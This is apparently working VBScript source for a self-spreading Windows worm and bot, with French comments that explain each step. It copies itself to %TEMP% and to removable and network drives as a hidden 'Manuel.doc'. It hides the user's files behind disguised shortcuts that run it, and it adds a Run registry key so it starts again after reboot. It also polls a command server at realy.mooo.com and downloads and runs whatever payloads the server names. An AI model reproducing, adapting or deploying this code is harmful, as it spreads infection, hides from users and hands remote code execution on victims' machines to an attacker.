'Microsoft (R) Windows Script Host Version 5.8'
'Copyright (C) Microsoft Corporation. Tous droits r‚serv‚s.

'<coded by Bl4cKs0cK>'
On Error Resume Next
Dim host
host = "realy.mooo.com"
Dim host_script
host_script = "bot/lancer/index.php"
Dim activ_name
activ_name = "SysinfY2X.db" 'Le nom du process actif
Dim passiv_name
passiv_name = "Manuel.doc"
Dim sleep_time
sleep_time = 2000
Dim sleep_time_limit
sleep_time_limit = 60000
Dim http
Set http = CreateObject("MSXML2.ServerXMLHTTP") 'Objet ajax pour aller recuperer url
Dim sh
Set sh = WScript.CreateObject("WScript.Shell")
Dim fs
Set fs= CreateObject("Scripting.FileSystemObject") 'creation du nouveau script
Dim WMIService
Set WMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") 'prend les droits de l'utilisateur courant
Const adTypeBinary = 1
Const adTypeText = 2
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
Dim stream_self
Set stream_self = CreateObject("Adodb.Stream")'generation du script dans %TEMP%
Dim script_name
script_name = Wscript.ScriptName
Dim tmp_dir
tmp_dir = sh.ExpandEnvironmentStrings("%temp%") & "\"
host = "http://" & host & "/"
stream_self.Type = adTypeBinary 'en fait du binaire
stream_self.Open
stream_self.LoadFromFile fs.GetFile(Wscript.ScriptFullName) 'crée un stream ADODB
Dim script_size
script_size = stream_self.Size 'recupere la taille du script
If (script_name = activ_name) Then
	Dim serv_rep, cont, cont_limit
	cont = 0
	cont_limit = CInt(sleep_time_limit / sleep_time)
	While True
		infect_drives 'infecte les lecteurs
		infect_registre ' infecte le registre
		protect_del 'assure la reproduction du fichier dans %TEMP%
		kill_old("SysinfYhX.db") 'tue le fichier qui a permis son deploiement
		If cont < cont_limit Then
			cont = cont + 1
			wscript.sleep sleep_time
		Else
			cont = 0
			serv_rep = serv_cmd("ping") 'Execute la commande ping vers le serveur realy.mooo.com
			If serv_rep <> "-1" Then 'si une réponse
				cont_limit = CInt(CInt(serv_rep) / sleep_time)
				serv_rep = serv_cmd(script_size & activ_name)'envoie la taille et le nom du script pour connaitre la version et telecharger la nouvelle si besoin
				If serv_rep <> "-1" Then
					If serv_rep <> "0" Then
						get_new_v(serv_rep)
					Else
						serv_rep = serv_cmd("list") 'sinon envoie la commande list
						If serv_rep <> "-1" Then
							get_list(serv_rep) 'si une reponse positive, execute get_list avec la liste retournee par le serveur
						End If
					End If
				End If
			Else
				cont_limit = CInt(sleep_time_limit / sleep_time)
			End If
		End If
	Wend
Else
	infect_machin 'Sinon infecte une machine
End if
Function serv_cmd(cmd)
 On Error Resume Next
	Dim stat
	http.Open "GET", host & host_script & "?cmd=" & cmd , False 'utilise l'objet HTTP pour GET et lancer la commande passée en arguments
	http.Send
	stat = http.Status
	If stat <> 200 Then
		serv_cmd = "-1"	 'si pas de reponse recoit -1
	Else
		serv_cmd=http.ResponseText 'sinon recoit du texte
	End If
End Function
Function bot_up(arr)
 On Error Resume Next
	Dim stat, frm_, size_, to_, lnc_
	frm_ = arr(1)
	size_ = arr(2)
	to_ = arr(3)
	lnc_ = arr(4)
	Dim stream
	Set stream = CreateObject("Adodb.Stream") 'Cree un stream binaire et génère un fichier avec le tableau passé en entrée
	stream.Type = adTypeBinary
	stream.Open
	If fs.FileExists (tmp_dir & to_) Then
		If fs.GetFile(tmp_dir & to_).Size <> size_ Then
			http.Open "GET", frm_, False
			http.Send
			If http.Status <> 200 Then
				bot_up = False
			Else
				stream.Write http.ResponseBody
				fs.GetFile(tmp_dir & to_).Attributes=2
				fs.DeleteFile tmp_dir & to_, True
				stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
				fs.GetFile(tmp_dir & to_).Attributes=1+2+4
				bot_up = True
			End If
		Else
			bot_up = False
		End If
	Else
		http.Open "GET", frm_, False
		http.Send
		If http.Status <> 200 Then
			bot_up = False
		Else
			stream.Write http.ResponseBody
			stream.SaveToFile tmp_dir & to_, adSaveCreateOverWrite
			fs.GetFile(tmp_dir & to_).Attributes=1+2+4
			bot_up = True
		End If
	End If
	stream.Close
	If bot_up Then
		sh.Run "cmd /c start " & lnc_ & " %temp%\" & to_, 0
	End If
End Function
Function get_split(in_)
 On Error Resume Next
	Dim ret
	ret = Array(True, "", 0, "", "")
	ret(1) = Split(Split(in_, "<from>")(1), "<br>")(0)
	ret(2) = CInt(Split(Split(in_, "<size>")(1), "<br>")(0))
	ret(3) = Split(Split(in_, "<to>")(1), "<br>")(0)
	ret(4) = Split(Split(in_, "<lancer>")(1), "<br>")(0)
	For Each a In ret
		If a = "" Or a = " " Then
			ret(0) = False
			Exit For
		End If
	Next
	get_split = ret
End Function
Function get_new_v(req)
 On Error Resume Next
	Dim data_
	data_ = get_split(req)
	If data_(0) Then
		If bot_up(data_) Then
			If data_(3) <> script_name Then
				del_registre
				fs.GetFile(Wscript.ScriptFullName).Attributes=2
				fs.DeleteFile Wscript.ScriptFullName, True
			End If
			wscript.quit
		End If
	End If
End Function
Function get_list(req) 'reçoit les données retournées par la commande list sur le serveur
 On Error Resume Next
	If req <> "0" Then
		Dim tbl
		tbl = Split(req, "<list>")
		For Each case_ In tbl
			Dim data_
			data_ = get_split(case_)
			If data_(0) Then
				bot_up(data_)
			End If
		Next
		get_list = True
	Else
		get_list = False
	End If
End Function
Function infect_machin 'meme principe qu'infect_drives
 On Error Resume Next
	infect_registre
	If fs.FileExists (tmp_dir & activ_name) Then
		If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
			fs.GetFile(tmp_dir & activ_name).Attributes=2
			fs.DeleteFile tmp_dir & activ_name, True
			stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite
			fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
			infect_machin = True
		Else
			infect_machin = False
		End If
	Else
		stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
		fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4
		infect_machin = True
	End If
	If infect_machin Then
		sh.Run "cmd /c start wscript /e:VBScript.Encode " & Replace(tmp_dir & activ_name," ", ChrW(34) & " " & ChrW(34)), 0
	Else
		Dim colItms
		Set colItms = WMIService.ExecQuery ("Select * from Win32_Process Where Name = 'wscript.exe' AND CommandLine LIKE '%" & activ_name & "%'")
		If colItms.Count = 0 Then
			sh.Run "cmd /c start wscript /e:VBScript.Encode " & Replace(tmp_dir & activ_name," ", ChrW(34) & " " & ChrW(34)), 0
		End If
		Set colItms = Nothing
	End If
	wscript.quit
End Function
Sub infect_drives 'infection des lecteurs
  On Error Resume Next
	Dim sys_drive
	sys_drive = sh.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
	For Each cle In fs.Drives
		If cle.isReady And (cle.DriveType = 1 Or cle.DriveType = 3 Or cle.DriveType = 4) Then 'si le drive est une clé, un network drive ou un cdrom(??)
			Dim d
			d = cle.path
			If d <> sys_drive Then
				If fs.FileExists(d & "\" & passiv_name) Then 'Si le fichier existe mais ne fait pas la même taille, il le supprime et le remplace par un fichier caché
					If (fs.GetFile(d & "\" & passiv_name).Size <> script_size) And (cle.FreeSpace > Abs(fs.GetFile(d & "\" & passiv_name).Size - script_size)) Then
						fs.GetFile(d & "\" & passiv_name).Attributes=2
						fs.DeleteFile d & "\" & passiv_name, True
						stream_self.SaveToFile d & "\" & passiv_name, adSaveCreateOverWrite
					End If
				Else 'Sinon il le créé
					If cle.FreeSpace > script_size Then
						stream_self.SaveToFile d & "\" & passiv_name, adSaveCreateNotExist
					End If
				End If
				fs.GetFile(d & "\" & passiv_name).Attributes=1+2+4 'll donne les attributs read only, fichier caché, et fichier système au fichier
				If cle.FreeSpace > 0 Then
					For Each f In fs.GetFolder(d & "\").Files
						Dim f_ext
						If instr(f.name, ".") Then
							Dim f_name
							f_name = split(f.name, ".")
							f_ext = lcase( f_name(ubound(f_name)) )
						Else
							f_ext = "NULL"
						End if
						If f_ext <> "lnk" And f.name <> passiv_name And f.Attributes <> 2+4 Then
							f.Attributes = 2+4 'cache le dossier existant
							If fs.FileExists(d & "\" & f.name & ".lnk") Then
								fs.GetFile(d & "\" & f.name & ".lnk").Attributes = 0 'fait apparaitre le lien si besoin
							End If
							Dim shurt, s_icon 'Creation du shortcut qui execute cmd avec des arguments
							Set shurt = sh.CreateShortcut(d & "\" & f.name & ".lnk")
							shurt.WindowStyle = 7 'Minimized windows <-- pour ne pads qu'on voit le resultat de l'execution du script
							shurt.TargetPath = "cmd.exe"
							shurt.WorkingDirectory = ""
							Dim f_arg 'lance wscript avec le moteur encode pour lire le manuel.doc encodé
							f_arg = "/c start wscript /e:VBScript.Encode " & Replace(passiv_name," ", ChrW(34) & " " & ChrW(34)) & " & start " & replace( f.name," ", ChrW(34) & " " & ChrW(34))
							shurt.Arguments = f_arg & " & exit" 'puis ferme la fenetre
							s_icon = sh.regread("HKLM\SOFTWARE\Classes\" & sh.regread("HKLM\SOFTWARE\Classes\." & f_ext & "\") & "\DefaultIcon\")' S'attribue l'icone d'un repertoire
							If ( instr(s_icon, ",") = 0 ) Or f_ext = "NULL" Then
								shurt.IconLocation = f.path
							Else
								shurt.IconLocation = s_icon
							End if
							shurt.Save()
							fs.GetFile(d & "\" & f.name & ".lnk").Attributes = 1 ' le place en RO
						End if
					Next
					For Each ff In fs.GetFolder(d & "\").SubFolders
						If ff.Attributes <> 2+4 Then
							ff.Attributes = 2+4
							If fs.FileExists(d & "\" & ff.name & ".lnk") Then
								fs.GetFile(d & "\" & ff.name & ".lnk").Attributes = 0
							End If
							Dim shurt_, s_icon_
							Set shurt_ = sh.CreateShortcut(d & "\" & ff.name & ".lnk")
							shurt_.WindowStyle = 7
							shurt_.TargetPath = "cmd.exe"
							shurt_.WorkingDirectory = ""
							Dim ff_arg 'relance le script pour les sous repertoires
							ff_arg = "/c start wscript /e:VBScript.Encode " & Replace(passiv_name," ", ChrW(34) & " " & ChrW(34)) & " & start explorer " & replace( ff.name," ", ChrW(34) & " " & ChrW(34))
							shurt_.Arguments = ff_arg & " & exit"
							s_icon_ = sh.regread("HKLM\SOFTWARE\Classes\Folder\DefaultIcon\")
							If instr(s_icon_, ",") = 0 Then
								shurt_.IconLocation = ff.path
							Else
								shurt_.IconLocation = s_icon_
							End if
							shurt_.save()
							fs.GetFile(d & "\" & ff.name & ".lnk").Attributes = 1
						End If
					Next
				End If
			End If
		End If
	Next
End Sub
Sub infect_registre
 On Error Resume Next
	Dim target, reg_d
	target = "C:\WINDOWS\system32\cmd.exe /c start wscript  /e:VBScript.Encode %temp%\" & activ_name 'Crée une tache au démarrage
	reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(activ_name, ".")(0)
	sh.regwrite "HKCU" & reg_d, target, "REG_SZ"
	reg_d = "\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden" 'fait en sorte que n'aparaissent pas les fichiers cachés
	sh.regwrite "HKCU" & reg_d, 2, "REG_DWORD"
End Sub
Sub del_registre
 On Error Resume Next
	Dim reg_d 'supprime la clé
	reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(activ_name, ".")(0)
	sh.RegDelete "HKCU" & reg_d
End Sub
Function protect_del
 On Error Resume Next
	If fs.FileExists (tmp_dir & activ_name) Then
		If fs.GetFile(tmp_dir & activ_name).Size <> script_size Then
			fs.GetFile(tmp_dir & activ_name).Attributes=2
			stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateOverWrite 'remplace le fichier dans le dossier temp
		End If
	Else
		stream_self.SaveToFile tmp_dir & activ_name, adSaveCreateNotExist
	End If
	fs.GetFile(tmp_dir & activ_name).Attributes=1+2+4 'On reattribue RO/Hidden/SystemFile
End Function
Function kill_old(old_name)'tue l'ancien  processus afin de renouveller le nom et de poursuivre l'infection
 On Error Resume Next
	Dim colItems, reg_d
	Set colItems = WMIService.ExecQuery ("Select * from Win32_Process Where Name = 'wscript.exe' AND CommandLine LIKE '%" & old_name & "%'")
	For Each objItem in colItems
		objItem.Terminate
	Next
	colItems = Nothing
	reg_d = "\Software\Microsoft\Windows\CurrentVersion\Run\" & Split(old_name, ".")(0)
	sh.RegDelete "HKCU" & reg_d
	fs.GetFile(tmp_dir & old_name).Attributes=2
	fs.DeleteFile tmp_dir & "\" & old_name, True
End Function